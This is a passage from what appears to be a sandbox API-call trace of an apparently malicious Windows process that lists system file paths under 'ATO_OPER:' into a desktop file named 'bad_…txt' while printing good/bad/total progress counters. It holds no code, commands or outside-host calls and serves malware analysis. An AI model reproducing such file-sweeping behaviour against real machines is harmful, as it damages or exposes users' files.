dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0074.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\n", cchWideChar=359, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 359 [0074.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\n", cchWideChar=359, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 359 [0074.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\n", cchWideChar=359, lpMultiByteStr=0x2636828, cbMultiByte=359, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\n", lpUsedDefaultChar=0x0) returned 359 [0074.204] WriteFile (in: hFile=0x184, lpBuffer=0x2636828*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x2636828*, lpNumberOfBytesWritten=0x290fe34*=0x167, lpOverlapped=0x0) returned 1 [0074.205] CloseHandle (hObject=0x184) returned 1 [0074.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3615 / B=5 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0074.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3615 / B=5 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3615 / B=5 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0074.206] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0074.209] Sleep (dwMilliseconds=0x5dc) [0076.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=5 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0076.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=5 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=5 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0076.277] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0076.278] Sleep (dwMilliseconds=0x5dc) [0078.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=5 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0078.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=5 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=5 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0078.986] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0078.986] Sleep (dwMilliseconds=0x5dc) [0081.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\n", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0081.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\n", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0081.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\n", cchWideChar=428, lpMultiByteStr=0x1d81268, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\n1", lpUsedDefaultChar=0x0) returned 428 [0081.450] WriteFile (in: hFile=0x168, lpBuffer=0x1d81268*, nNumberOfBytesToWrite=0x1ac, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x1d81268*, lpNumberOfBytesWritten=0x290fe34*=0x1ac, lpOverlapped=0x0) returned 1 [0081.451] CloseHandle (hObject=0x168) returned 1 [0081.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0081.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0081.451] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0081.452] Sleep (dwMilliseconds=0x5dc) [0083.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0083.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0083.114] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0083.115] Sleep (dwMilliseconds=0x5dc) [0085.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0085.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb20f4, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=6 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0085.083] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0085.085] Sleep (dwMilliseconds=0x5dc) [0086.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0086.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\n", cchWideChar=506, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 506 [0086.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\n", cchWideChar=506, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 506 [0086.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\n", cchWideChar=506, lpMultiByteStr=0x1e4cf28, cbMultiByte=506, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\n8", lpUsedDefaultChar=0x0) returned 506 [0086.811] WriteFile (in: hFile=0x12c, lpBuffer=0x1e4cf28*, nNumberOfBytesToWrite=0x1fa, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesWritten=0x290fe34*=0x1fa, lpOverlapped=0x0) returned 1 [0086.812] CloseHandle (hObject=0x12c) returned 1 [0086.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0086.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb20f4, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0086.812] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0086.813] Sleep (dwMilliseconds=0x5dc) [0088.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0088.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0088.557] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0088.557] Sleep (dwMilliseconds=0x5dc) [0090.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0090.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=7 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0090.483] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0090.483] Sleep (dwMilliseconds=0x5dc) [0092.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0092.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\n", cchWideChar=590, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 590 [0092.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\n", cchWideChar=590, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 590 [0092.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\n", cchWideChar=590, lpMultiByteStr=0x1e54ee8, cbMultiByte=590, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\n", lpUsedDefaultChar=0x0) returned 590 [0092.159] WriteFile (in: hFile=0x184, lpBuffer=0x1e54ee8*, nNumberOfBytesToWrite=0x24e, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesWritten=0x290fe34*=0x24e, lpOverlapped=0x0) returned 1 [0092.160] CloseHandle (hObject=0x184) returned 1 [0092.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0092.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0092.160] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0092.161] Sleep (dwMilliseconds=0x5dc) [0093.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0093.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0093.851] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0093.852] Sleep (dwMilliseconds=0x5dc) [0095.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0095.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=8 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0095.576] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0095.577] Sleep (dwMilliseconds=0x5dc) [0097.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js 